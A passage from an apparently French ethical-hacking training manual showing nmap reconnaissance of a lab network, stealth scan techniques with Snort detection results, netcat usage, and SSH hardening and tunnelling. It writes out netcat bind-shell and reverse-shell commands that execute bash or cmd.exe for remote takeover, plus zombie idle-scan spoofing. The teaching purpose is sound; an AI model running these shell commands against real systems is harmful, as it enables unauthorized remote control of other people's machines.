Nmap scan report for pc-01.formation.local (192.168.0.51)


Host is up, received arp-response (0.00034s latency).
Not shown: 999 filtered ports
Reason: 999 no-responses
PORT STATE SERVICE REASON
135/tcp open msrpc syn-ack ttl 128
MAC Address: 00:0C:29:B1:A9:59 (VMware)

Nmap scan report for 192.168.0.53


Host is up, received arp-response (0.0055s latency).
All 1000 scanned ports on 192.168.0.53 are closed because of 1000 resets
MAC Address: 16:31:04:FF:7C:94 (Unknown)

Nmap scan report for 192.168.0.254


Host is up, received arp-response (0.00030s latency).
Not shown: 997 filtered ports
Reason: 997 no-responses
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 64
80/tcp open http syn-ack ttl 64
443/tcp open https syn-ack ttl 64
MAC Address: 00:0C:29:D4:3D:A4 (VMware)

Restrict
ed
Nmap done: 5 IP addresses (5 hosts up) scanned in 225.07 seconds

Sur la machine 192.168.0.2, le port 22/TCP (SSH) et le port 23/TCP (Telnet) sont ouverts ainsi que le
port 80 (www) et le port 443 (HTTPS). Il s’agit certainement d’un périphérique réseau doté d’un mini-
serveur web pour permettre la configuration en mode graphique.

La machine dc-01 (192.168.0.11) est une machine Windows (ports NetBIOS ouverts : 135/TCP,
139/TCP, et 445/TCP). Elle est également serveur Active Directory (port LDAP ouvert : 389/TCP et
port Kerberos ouvert 88/TCP) et serveur DNS (port DNS ouvert : 53/TCP).

Les ports NetBIOS :

 135/TCP msrpc (Microsoft Remote Procedure Call) : port utilisé pour répartir les connexions
entrantes (service dispatcher). Lorsqu’une machine cherche à atteindre un service sur une
machine distante, elle se connecte d’abord via le port 135 afin de localiser le port réel sur
lequel tourne le service intéressé. Ensuite, elle dialoguera avec le service concerné via le port
qui lui aura été communiqué. Ce mécanisme est en fin de vie et sera probablement remplacé
à terme par WinRM.

 139/TCP netbios-ssn (NetBios Session Service) : c’est le port utilisé pour accéder aux
ressources d’une machine pour le partage de fichiers et d’imprimantes dans un groupe de
travail.

 445/TCP microsoft-ds (Directory Service) : port qui remplace le port 139 dans un domaine.

Le partage de ressources est effectué par le service Serveur et l’accès aux ressources est effectué par
le service Station de travail.

Comme le port 53 est ouvert en TCP, est-il possible de rapatrier tous les noms DNS de la zone ?
Essayons…
root@kali:~#dig axfr formation.local @192.168.0.11

; <<>> DiG 9.9.5-12.1-Debian <<>> axfr formation.local @192.168.0.11


;; global options: +cmd
; Transfer failed.

Le paramètre axfr demande d’envoyer tous les enregistrements si c’est possible… Pas de chance, le
serveur est protégé.

Il est possible de réaliser la même opération avec le logiciel DNSenum.

La machine pc-01 (192.168.0.51) est probablement une machine Windows (ports NetBIOS ouverts :
135/TCP). Il peut également s’agir d’une machine Linux avec Samba.

La machine 192.168.0.53 offre actuellement peu d’informations : le fait que tous ses ports ont
répondu avec un reset (les ports ne sont donc pas filtrés mais fermés) en plus de l’adresse MAC. C’est
généralement le comportement d’une machine Linux…

Nous savons que la machine 192.168.0.254 est la passerelle. Le port 53/TCP (DNS) est ouvert ainsi
que le port 80 (www) et le port 443 (HTTPS). Un mini-serveur web est certainement présent pour
permettre la configuration en mode graphique.

Il est possible de demander à nmap d’essayer de détecter les OS (-O), les versions des services et le
traceroute (-A) :

Restrict
ed
root@kali:~#nmap -sS -f -A -O 192.168.0.2 192.168.0.11 192.168.0.51
192.168.0.53 192.168.0.254 --reason
Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-30 08:23 CEST
Nmap scan report for 192.168.0.2
Host is up (0.012s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh Cisco SSH 1.25 (protocol 1.99)
| ssh-hostkey:
| 1024 90:f5:d6:41:11:a1:cd:a7:a1:77:d5:a7:39:32:5f:e1 (RSA1)
|_ 1024 0e:3f:13:d0:3c:5c:18:4b:c6:de:78:bb:7a:2a:de:8b (RSA)
|_sshv1: Server supports SSHv1
23/tcp open telnet Cisco router telnetd
80/tcp open http Cisco IOS http config
| http-auth:
| HTTP/1.1 401 Unauthorized
|_ Basic realm=level_15 or view_access
|_http-server-header: cisco-IOS
|_http-title: Site doesn't have a title.
MAC Address: C2:01:15:65:00:00 (Unknown)
Device type: WAP
Running: Cisco IOS 12.X|15.X
OS CPE: cpe:/o:cisco:ios:12.4 cpe:/h:cisco:aironet_1141n
cpe:/h:cisco:aironet_3602i cpe:/o:cisco:ios:15.3
OS details: Cisco Aironet 1141N (IOS 12.4) or 3602I (IOS 15.3) WAP,
Cisco Aironet 2600-series WAP (IOS 15.2(2))
Network Distance: 1 hop
Service Info: OS: IOS; Device: router; CPE: cpe:/o:cisco:ios

TRACEROUTE
HOP RTT ADDRESS
1 12.42 ms 192.168.0.2

Le périphérique dont l’adresse IP est 192.168.0.2 est un appareil Cisco avec SSHv1 activé et qui est
situé à un saut de la machine Kali.
Nmap scan report for dc-01.formation.local (192.168.0.11)
Host is up (0.00027s latency).
Not shown: 983 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS
88/tcp open kerberos-sec Windows 2003 Kerberos (server time:
2017-04-30 06:27:34Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows 98 netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds (primary domain: FORMATION)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap
3269/tcp open tcpwrapped
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC

Restrict
ed
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
49167/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the
service/version,
please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port445-TCP:V=7.01%I=7%D=4/30%Time=590583D9%P=x86_64-pc-linux-gnu%r(SMB
SF:ProgNeg,71,"\0\0\0m\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\
SF:0@\x06\0\0\x01\0\x11\x07\0\x0f2\0\x01\0\x04A\0\0\0\0\x01\0\0\0\0\0\xfc\
SF:xf3\x01\0\x1a\xa5u\xdaz\xc1\xd2\x01\x88\xff\x08\(\x007\xec\x9aa\xbf\xd0
SF:\xe7\xf0F\0O\0R\0M\0A\0T\0I\0O\0N\0\0\0D\0C\0-\x000\x001\0\0\0");
MAC Address: 00:0C:29:7F:2A:2F (VMware)
Warning: OSScan results may be unreliable because we could not find at
least
1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2012
OS CPE: cpe:/o:microsoft:windows_server_2012
OS details: Microsoft Windows Server 2012
Network Distance: 1 hop
Service Info: Host: DC-01; OSs: Windows, Windows 98; CPE:
cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003,
cpe:/o:microsoft:windows_98

Host script results:


|_nbstat: NetBIOS name: DC-01, NetBIOS user: <unknown>, NetBIOS MAC:
00:0c:29:7f:2a:2f (VMware)
| smb-os-discovery:
| OS: Windows Server 2012 R2 Standard 9600 (Windows Server 2012 R2
Standard 6.3)
| OS CPE: cpe:/o:microsoft:windows_server_2012::-
| Computer name: DC-01
| NetBIOS computer name: DC-01
| Domain name: formation.local
| Forest name: formation.local
| FQDN: DC-01.formation.local
|_ System time: 2017-04-30T08:28:31+02:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
|_smbv2-enabled: Server supports SMBv2 protocol

TRACEROUTE
HOP RTT ADDRESS
1 0.27 ms dc-01.formation.local (192.168.0.11)

La machine dont l’adresse IP est 192.168.0.11 est un serveur Windows Server 2012 virtuel
(VMware) qui est effectivement contrôleur de domaine et serveur DNS. Il est également
serveur de fichiers (avec SMBv2) et est situé à un saut de la machine Kali.

Restrict
ed
Nmap scan report for pc-01.formation.local (192.168.0.51)
Host is up (0.00049s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
MAC Address: 00:0C:29:B1:A9:59 (VMware)
Warning: OSScan results may be unreliable because we could not find at
least 1 open and 1 closed port
Aggressive OS guesses: FreeBSD 6.2-RELEASE (94%), Microsoft Windows Phone
7.5
or 8.0 (92%), Microsoft Windows Server 2008 or 2008 Beta 3 (92%), Windows
Server
2008 R2 (92%), Microsoft Windows 7 Professional or Windows 8 (92%),
Microsoft
Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (92%),
Microsoft
Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (92%), Microsoft
Windows
Embedded Standard 7 (92%), Microsoft Windows Server 2008 R2 (89%),
Microsoft
Windows Server 2008 SP1 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE
HOP RTT ADDRESS
1 0.49 ms pc-01.formation.local (192.168.0.51)

La machine dont l’adresse IP est 192.168.0.51 est effectivement une machine Windows ; la version
n’est pas déterminée actuellement.
Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-30 08:58 CEST
Nmap scan report for 192.168.0.53
Host is up (0.0073s latency).
All 1000 scanned ports on 192.168.0.55 are closed
MAC Address: FA:6A:B4:2D:87:03 (Unknown)
Warning: OSScan results may be unreliable because we could not find at
least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.4.X|2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.4.20 cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.4.20, Linux 2.6.14 - 2.6.34, Linux 2.6.17 (Mandriva),
Linux 2.6.23, Linux 2.6.24
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 7.34 ms 192.168.0.55

La machine dont l’adresse IP est 192.168.0.53 est effectivement une machine Linux ; la version n’est
pas déterminée actuellement.

Restrict
ed
Nmap scan report for 192.168.0.254
Host is up (0.00028s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain
80/tcp open http nginx
|_http-server-header: nginx
|_http-title: Did not follow redirect to https://192.168.0.254/
443/tcp open ssl/http nginx
|_http-server-header: nginx
|_http-title: Login
| ssl-cert: Subject: commonName=pfSense-581d52257e743/
organizationName=pfSense webConfigurator Self-Signed
Certificate/stateOrProvinceName=State/countryName=US
| Not valid before: 2016-11-05T03:29:41
|_Not valid after: 2022-04-28T03:29:41
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_ http/1.1
MAC Address: 00:0C:29:D4:3D:A4 (VMware)
Warning: OSScan results may be unreliable because we could not find at
least 1 open and 1 closed port
Device type: specialized|general purpose
Running (JUST GUESSING): Comau embedded (92%), OpenBSD 4.X (91%)
OS CPE: cpe:/o:openbsd:openbsd:4.0
Aggressive OS guesses: Comau C4G robot control unit (92%), OpenBSD 4.0
(91%), OpenBSD 4.3 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 0.28 ms 192.168.0.254

OS and Service detection performed. Please report any incorrect results at


https://nmap.org/submit/ .
Nmap done: 5 IP addresses (4 hosts up) scanned in 316.22 seconds

Le périphérique dont l’adresse IP est 192.168.0.254 est un routeur pfsense sous OpenBSD. Le
certificat utilisé n’est pas signé.

Ces deux options sont très bavardes et les informations sont bien reprises dans les logs des firewalls
et de l’IDS. Voici un exemple sous Windows :
2017-04-30 08:28:31 DROP UDP 192.168.0.52 192.168.0.51 56168 137 78 - - - - - - -
RECEIVE
2017-04-30 08:28:32 DROP UDP 192.168.0.52 192.168.0.51 59765 137 78 - - - - - - -
RECEIVE
2017-04-30 08:28:33 DROP UDP 192.168.0.52 192.168.0.51 45079 137 78 - - - - - - -
RECEIVE
2017-04-30 08:28:34 DROP UDP 192.168.0.52 192.168.0.51 41765 137 78 - - - - - - -
RECEIVE
2017-04-30 08:31:15 DROP TCP 192.168.0.52 192.168.0.51 64015 445 44 S 783483905 0
1024
- - - RECEIVE

Restrict
ed
2017-04-30 08:31:15 DROP TCP 192.168.0.52 192.168.0.51 64016 445 44 S 783418368 0
1024
- - - RECEIVE
2017-04-30 08:31:15 DROP TCP 192.168.0.52 192.168.0.51 64015 139 44 S 783483905 0
1024
- - - RECEIVE
2017-04-30 08:31:15 DROP TCP 192.168.0.52 192.168.0.51 64016 139 44 S 783418368 0
1024
- - - RECEIVE
2017-04-30 08:31:16 DROP TCP 192.168.0.52 192.168.0.51 64017 139 44 S 783352835 0
1024
- - - RECEIVE
2017-04-30 08:31:17 DROP TCP 192.168.0.52 192.168.0.51 64017 445 44 S 783352835 0
1024
- - - RECEIVE
2017-04-30 08:34:25 DROP UDP 192.168.0.11 192.168.0.255 138 138 229 - - - - - - -
RECEIVE
2017-04-30 08:35:40 DROP ICMP 192.168.0.52 192.168.0.51 - - 148 - - - - 8 9 –
RECEIVE

Et maintenant un exemple provenant de l’IDS Snort :

Détection de l’option -O de nmap par Snort

Le type d’attaque détecté n’est pas correct mais l’attaque n’est pas passée inaperçue !

Pour détecter plus précisément la version de Windows, il existe un script très utile qui exploite le
SMB et plus précisément le port 445 en TCP :
root@kali:~# nmap -p 445 --script smb-os-discovery 192.168.0.11

Restrict
ed
Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-30 09:17 CEST
Nmap scan report for dc-01.formation.local (192.168.0.11)
Host is up (0.00020s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:7F:2A:2F (VMware)

Host script results:


| smb-os-discovery:
| OS: Windows Server 2012 R2 Standard 9600 (Windows Server 2012 R2
Standard 6.3)
| OS CPE: cpe:/o:microsoft:windows_server_2012::-
| Computer name: DC-01
| NetBIOS computer name: DC-01
| Domain name: formation.local
| Forest name: formation.local
| FQDN: DC-01.formation.local
|_ System time: 2017-04-30T09:17:59+02:00

Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds

La machine dont l’adresse IP est 192.168.0.11 est un serveur Windows Server 2012 R2. Comme cette
recherche ne concerne qu’un service, elle sera beaucoup plus furtive.

Voici un autre exemple : comme le périphérique ayant l’adresse IP 192.168.0.2 a son port HTTP
ouvert (80), il est possible d’utiliser le script suivant qui recherche les titres :
root@kali:~#nmap --script http-title -sV -p 80 192.168.0.2

Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-30 09:25 CEST


Nmap scan report for 192.168.0.2
Host is up (0.012s latency).
PORT STATE SERVICE VERSION
80/tcp open http Cisco IOS http config
|_http-server-header: cisco-IOS
|_http-title: Site doesn't have a title.
MAC Address: C2:01:15:65:00:00 (Unknown)
Service Info: OS: IOS; CPE: cpe:/o:cisco:ios

Il existe de nombreux scripts (voir : https://nmap.org/nsedoc/).

Comme la méthode "SYN scan" est maintenant détectée par la majorité des pare-feu modernes, de
nouvelles techniques ont été implémentées.

f. Scanner un réseau via "TCP XMAS scan" et "Maimon scan"

Le scan XMAS (Xmas car tous les flags sont allumés comme un sapin de Noël) est considéré comme
furtif car il utilise les flags FIN, URG et PUSH et ne simule donc pas un comportement normal !

Cette attaque :

 évite le 3-way handshake ;

 évite la détection de certains IDS (qui recherchent les « SYN ») ;

Restrict
ed
 ne fonctionne pas avec les OS Windows (qui ne respectent pas la RFC 763) ;

 nécessite d’être "root" sur la machine source pour envoyer des données brutes (raw) sur le
réseau.

Ce mécanisme ne différencie pas les ports ouverts des ports filtrés.

TCP XMAS scan

root@kali:~# nmap -sX 192.168.0.2 192.168.0.11 192.168.0.51 192.168.0.55


192.168.0.254 --reason
...
Nmap scan report for pc-01.formation.local (192.168.0.51)
Host is up, received arp-response (0.00016s latency).
All 1000 scanned ports on pc-01.formation.local (192.168.0.51) are
open|filtered because of 1000 no-responses
MAC Address: 00:0C:29:B1:A9:59 (VMware)

Nmap scan report for 192.168.0.55


Host is up, received arp-response (0.0093s latency).
All 1000 scanned ports on 192.168.0.55 are closed because of 1000 resets
MAC Address: FA:6A:B4:2D:87:03 (Unknown)

Cette technique est particulièrement utile pour différencier les machines Windows des machines
Linux, puisque sur les machines Windows tous les ports semblent ouverts ! Les machines Windows
ne respectent pas la RFC 763.

Il est également possible de tirer des renseignements des réponses fournies par les systèmes :
root@kali:~# nmap -sX -f 192.168.0.2
Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-30 09:56 CEST
Nmap scan report for 192.168.0.2
Host is up (0.012s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp filtered http
MAC Address: C2:01:15:65:00:00 (Unknown)

Restrict
ed
Dans l’exemple ci-dessus, le port 80 est filtré. Mais la trace Wireshark réalisée en même temps que le
scan montre que le périphérique 192.168.0.2 a répondu à la machine Kali :

Exemple de réponse ICMP type 3 code 13

Le port détecté est filtré (typique d’un routeur avec ACL) !

Il est possible de configurer le routeur pour ne pas envoyer des messages d’erreurs ICMP (code 13).

nmap -sM -f <cible>


Le "Maimon Scan" est exactement la même que NULL, FIN et XMAS, sauf que la sonde est FIN + ACK.

L’attaque n’a pas été détectée par Snort !

g. Scanner un réseau via "TCP FIN scan"


C’est un scan furtif qui utilise le flag FIN afin de simuler une fin de connexion, donc un comportement
normal.

Cette attaque :

 évite la détection de certains IDS (qui recherchent les "SYN") ;

 ne fonctionne pas avec les OS Windows (qui ne respectent pas la RFC 763) ;

 nécessite d’être "root" sur la machine source pour envoyer des données brutes (raw) sur le
réseau.
nmap -sF -f <cible>

Les résultats sont identiques à ceux du scan XMAS.

L’attaque est également détectée par Snort.

Détection du TCP FIN scan par Snort

h. Scanner un réseau via "TCP NULL scan"


C’est un scan furtif qui n’utilise pas de flag et ne simule donc pas un comportement normal.

Cette attaque :

 évite la détection de certains IDS (qui recherchent les "SYN") ;

 ne fonctionne pas avec les OS Windows (qui ne respectent pas la RFC 763) ;

Restrict
ed
 nécessite d’être "root" sur la machine source pour envoyer des données brutes (raw) sur le
réseau.
nmap -sN -f <cible>

Les résultats sont identiques à ceux du scan XMAS.

L’attaque n’a pas été détectée par Snort.

i. Scanner un réseau via "TCP IDLE scan"

C’est un scan furtif qui utilise une machine passive zombie distante (IDLE) afin de ne pas présenter
son adresse IP réelle à la machine cible en exploitant la prédictibilité des numéros d’identification IP
(IPID). Les machines zombies sont d’anciennes machines Linux (IPID = 0 lorsque le bit DF=1) ou
Windows (incrémente de 256 l’IPID pour chaque paquet) ou encore des périphériques réseau dont le
microcode n’a pas été mis à jour comme des imprimantes, des commutateurs, des décodeurs...

IDLE scan partie 01

L’exemple ci-dessus montre une incrémentation "little-endian" où le pas est 0x100 (256 en décimal).
Le PID est prédictible et donc la machine peut servir de zombie pour ce type de scan.

Restrict
ed
IDLE scan partie 02

Après avoir lancé un scan en usurpant l’adresse du zombie, le scan effectue un SYN-ACK du zombie et
regarde le PID. Si l’identifiant est incrémenté de deux pas, alors la machine zombie a reçu un reset de
la cible, ce qui indique que le port est fermé.
root@kali:~# nmap -sI 10.1.0.58 -Pn -p- -r -v 10.1.0.53
Initiating ARP Ping Scan at 18:59
Scanning 10.1.0.53 [1 port]
Completed ARP Ping Scan at 18:59, 0.20s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:59
Completed Parallel DNS resolution of 1 host. at 18:59, 0.03s elapsed
Initiating idle scan against 10.1.0.53 at 18:59
Idle scan using zombie 10.1.0.58 (10.1.0.58:80); Class: Broken
little-endian incremental
Discovered open port 21/tcp on 10.1.0.53
Discovered open port 22/tcp on 10.1.0.53
Discovered open port 23/tcp on 10.1.0.53
Discovered open port 25/tcp on 10.1.0.53
Discovered open port 53/tcp on 10.1.0.53
Discovered open port 80/tcp on 10.1.0.53
Discovered open port 111/tcp on 10.1.0.53
Discovered open port 139/tcp on 10.1.0.53
Discovered open port 445/tcp on 10.1.0.53
Discovered open port 512/tcp on 10.1.0.53
Discovered open port 513/tcp on 10.1.0.53
Discovered open port 514/tcp on 10.1.0.53
Discovered open port 1099/tcp on 10.1.0.53

Restrict
ed
Dans l’exemple ci-dessus :

 -Pn : pas de NMAP discovery (furtivité).

 -P- : numéro des ports à scanner ("-" : tous).

 -r : ordre non aléatoire des numéros de port.

 -v : mode verbeux.

 10.1.0.58 : machine zombie (IDLE).

 10.1.0.53 : machine cible.

Pour fonctionner correctement, le zombie ne doit rien faire, il doit être "idle". Si ce n’est pas le cas,
un message similaire au suivant apparaîtra :
WARNING: idle scan has erroneously detected phantom ports --
is the proxy 10.1.0.58 (10.1.0.58) really idle?

j. Scanner un réseau via "UDP scan"

C’est un scan furtif qui utilise le protocole UDP afin d’exploiter les services UDP (SNMP, DNS,
DHCP…).

Cette attaque :

 évite le 3-way handshake (qui n’existe pas en UDP) ;

 évite la détection de certains IDS (qui ignorent les ports UDP) ;

 risque des faux positifs avec les paquets perdus (Nmap envoie deux paquets (UDP est non
fiable) ;

 est généralement plus lente que le scan TCP ;

 nécessite d’être "root" sur la machine source pour envoyer des données brutes (raw) sur le
réseau.

Ce scan est assez lent.

Restrict
ed
Scan UDP

Testons sur les deux machines ayant un port 53 ouvert :


root@kali:~# nmap -sU 192.168.0.11 192.168.0.254

Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-30 15:51 CEST


Nmap scan report for dc-01.formation.local (192.168.0.11)
Host is up (0.00039s latency).
Not shown: 997 open|filtered ports
PORT STATE SERVICE
53/udp open domain
123/udp open ntp
137/udp open netbios-ns
MAC Address: 00:0C:29:7F:2A:2F (VMware)

Nmap scan report for 192.168.0.254


Host is up (0.00034s latency).
Not shown: 998 open|filtered ports
PORT STATE SERVICE
53/udp open domain
123/udp open ntp
MAC Address: 00:0C:29:D4:3D:A4 (VMware)

Nmap done: 2 IP addresses (2 hosts up) scanned in 1190.63 seconds

Les ports NTP (123/UDP) et NetBIOS (137/UDP) ont été découverts. Mais le port 67 utilisé par les
serveurs DHCP semble fermé et nous savons que DC-01 est serveur DHCP. Essayons avec un script :
root@kali:~#nmap -sU -p 67 --script=dhcp-discover 192.168.0.11

Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-30 16:17 CEST


Nmap scan report for dc-01.formation.local (192.168.0.11)
Host is up (0.00019s latency).
PORT STATE SERVICE

Restrict
ed
67/udp open dhcps
| dhcp-discover:
| DHCP Message Type: DHCPACK
| Server Identifier: 192.168.0.11
| Subnet Mask: 255.255.255.0
| Vendor Specific Information: \xDC\x03NAP
| Router: 192.168.0.254
| Domain Name Server: 192.168.0.11
|_ Domain Name: formation.local\x00
MAC Address: 00:0C:29:7F:2A:2F (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds

Le port est bien ouvert mais de manière sécurisée (DHCPS).

Le scan a été détecté par Snort :

Détection du scan UDP par Snort

k. Scanner un réseau via "TCP-ACK scan"


Ce type de scan est un peu particulier, il permet de rechercher les composants actifs sur le réseau et
est particulièrement utile pour déterminer les ports filtrés par un pare-feu.

Cette attaque évite le 3-way handshake.

Il faut être "root" sur la machine source pour envoyer des données brutes (raw) sur le réseau.

Restrict
ed
Scan TCP ACK
root@kali:~# nmap -sA 192.168.0.254

Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-30 16:22 CEST


Nmap scan report for 192.168.0.254
Host is up (0.0028s latency).
All 1000 scanned ports on 192.168.0.254 are filtered
MAC Address: 00:0C:29:D4:3D:A4 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 21.34 seconds

Les ports sont bien filtrés. Il s’agit bien d’un mécanisme de pare-feu !

Le scan a été détecté par Snort :

Détection du scan TCP ACK par Snort

Pour plus d’informations, consultez le guide de référence Nmap en


français : http://nmap.org/man/fr/

Gestion des sockets

Netcat permet de gérer les sockets et donc de créer soit un client, soit un serveur. Ce programme
permet de faire rapidement de l’envoi de fichiers, de créer une porte dérobée, des ordinateurs
zombies et bien plus, et ce, sans avoir besoin de recourir à un langage. Il faut bien sûr avoir un accès
sur la machine et également la possibilité d’exécuter la commande nc (netcat).

Installation de netcat sous Debian :

apt install netcat

a. Comment prendre la main sur un hôte distant ?

Par exemple, prendre le contrôle d’une machine Linux depuis Windows.

Depuis le serveur tapez la commande suivante :

nc -l -p 5600 -e /bin/bash
Cette commande ouvre le port 5600 en écoute (-l : listening) en TCP (par défaut) et exécutera bash
comme programme d’entrée (-e : inbound program).

Restrict
ed
Utilisation de netcat comme serveur sous Linux

Nous pouvons vérifier l’ouverture du port avec :


nmap -p 0-65535 127.0.0.1

Depuis le client tapez la commande suivante :


nc 192.168.200.51 5600

Cette commande établit une connexion sur le port 5600 avec l’hôte 192.168.200.51. La
commande ls nous permet de visualiser le contenu du home directory d’utilisateur sous Linux
(attention au problème de jeux de caractères).

Visualisation du répertoire personnel d’un utilisateur Linux depuis un client Windows

Pour exécuter la même opération depuis une machine Windows, il suffit, depuis le serveur Windows,
de changer le programme d’entrée :
nc -L -d -p 5600 -e cmd.exe

Restrict
ed
Visualisation du répertoire personnel d’un utilisateur Windows depuis un client Linux

L’option -d permet de faire fonctionner l’application en tâche de fond.

b. Transfert de fichiers entre deux machines

Par exemple, transférer le fichier readme.txt depuis la machine Windows vers la machine Linux.
nc -v -w 30 -p 5600 -l > readme.txt

Cette commande ouvre le port 5600 en écoute et redirige le contenu dans readme.txt. L’option -
w demande à netcat d’attendre x secondes (dans notre exemple : 30 s).

Transfert de fichier avec netcat (côté client)


nc -v -w 2 192.168.200.51 5600 < readme.txt

Cette commande redirige le contenu de readme.txt vers le port 5600 de l’hôte ayant l’adresse IP
192.168.200.51.

Restrict
ed
Transfert de fichier avec netcat (côté serveur)

c. Prise de contrôle d’un ordinateur sur un réseau privé

Supposons que nous voulions joindre un serveur A située derrière un pare-feu qui n’autorise que les
connexions sortantes sur le port 80 depuis une machine B située dans la zone publique. Pour
atteindre notre objectif, nous allons devoir initier la connexion depuis le serveur (Reverse Telnet).

Machine B :
nc -l -p 80

Serveur A :
nc <IP_Machine_B> 80 -e /bin/bash

Pour un hackeur, deux contraintes doivent être solutionnées afin d’exploiter ce mécanisme :

 Lancer la commande netcat sur le serveur (via script ou autre).

 Passer par une machine tierce afin de ne pas divulguer sa propre adresse IP (ici IP de la
machine B). En pratique, l’attaquant utilisera des serveurs déjà piratés afin de ne pas
divulguer son IP réel.

Cryptcat est un clone de netcat avec des fonctionnalités de cryptage. L’option-k permet de changer la
passphrase intégrée : « metallica ».

5. SSH

SSH (Secure Shell) établit une connexion sécurisée entre deux hôtes en cryptant les
informations avant de les transmettre, contrairement à Telnet qui, lui, ne crypte rien, et est de ce fait
considéré comme le successeur de ce dernier. SSH inclut un ensemble de protocoles permettant la
mise en place d’un shell, l’échange de fichiers, et même de lancer les programmes sur le serveur
distant en faisant suivre l’affichage sur un serveur X local indépendant du démon ssh.

Le protocole SSL, qui est utilisé par SSH et par les navigateurs web, utilise la cryptographie
asymétrique pour échanger une clé secrète de manière sécurisée, et ensuite la cryptographie
symétrique pour le restant de la communication sécurisée.

Dans la cryptographie asymétrique, chaque partie dispose d’un couple de clés :

 Une clé publique utilisée pour crypter l’information et pouvant être publiée librement.

 Une clé privée, seule habilitée à décrypter l’information et devant rester privée et protégée.

Dans la cryptographie symétrique, chaque partie dispose d’une même clé de chiffrement. Elle est
utilisée pour crypter et décrypter l’information. Cette clé ne peut évidemment pas circuler librement.
Cette méthode de chiffrement est nettement moins gourmande (± 1000 fois) en ressources
processeur.

Restrict
ed
Une utilisation basique de SSH se résume à se connecter à distance sur une machine de la façon
suivante :
ssh <utilisateur>@<machine> -p [numéro du port]
Sans l'option -p, le port 22 est utilisé par défaut.

Les utilisateurs sous Windows peuvent utiliser OpenSSH : http://sshwindows.sourceforge.net/

Si vous avez un serveur SSH ouvert sur l’extérieur et que vous ne pouvez limiter l’accès via des ACL
(listes de contrôle d’accès contenant des adresses et ports autorisés ou interdits par un pare-feu)
parce que vous devez pouvoir joindre cette machine depuis n’importe quelle adresse, il peut être
intéressant de mettre en place un mécanisme comme "denyhosts" ou "fail2ban" pour aider à
contrecarrer les attaques de serveur SSH en recherchant les adresses IP sources des machines ayant
des erreurs d’authentification dans les logs et en ajoutant des règles dans iptables (fail2ban) ou TCP
Wrappers (denyhosts) afin de bannir ces adresses.

Concernant les équipements réseau comme les routeurs ou les switches, il est conseillé d’activer SSH
uniquement, de limiter l’accès via ACL et idéalement de dédier un VLAN (réseau logique indépendant
permettant entre autres une isolation des flux et une augmentation de la sécurité).

Exemple de configuration sur un switch Cisco :


username admin privilege 15 secret MonMotDePasse
! Création d'un utilisateur “admin” avec mot de passe «MonMotDePasse »
ayant les privilèges maximum
!
crypto key zeroize rsa
crypto key generate rsa
1024
! Génération de la clé RSA utilisée pour crypter les données
ip access-list standard 1
remark "ACL_MGMT"
permit 192.168.113.0 0.0.0.255
deny any log
! Seuls les périphériques du réseau 192.168.113.0 /24 sont autorisés
! Les accès infructueux seront enregistrés dans un journal d'événement
!
line vty 0 15
login local
! Authentification locale des utilisateurs
privilege level 15
! Seuls les utilisateurs de niveau 15 seront admis
access-class 1 in
! Seuls les périphériques répondant à l'ACL 1 seront autorisés
transport input ssh
! Seul le protocole SSH est autorisé

6. Tunnel SSH

Le tunnel SSH, également appelé port forwarding (ne pas confondre avec NAT), permet, entre autres,
d’atteindre des machines auxquelles vous n’avez normalement pas accès. Le principe est
d’encapsuler les données d’un protocole réseau au sein d’un autre (ici SSH) et de les transférer vers
une machine intermédiaire (proxy). Cette dernière, qui, elle, n’a pas de restrictions, redirige les
informations vers la cible voulue.

Restrict
ed
a. Contournement d’un pare-feu afin de joindre un hôte distant

Qui ne s’est pas retrouvé derrière un hotspot ou autre réseau public ou privé qui ne permet pas
d’accéder à certaines pages web, de récupérer notre courrier, d’aller sur IRC ?

Supposons que nous soyons en vacances dans un hôtel et que nous devions joindre le
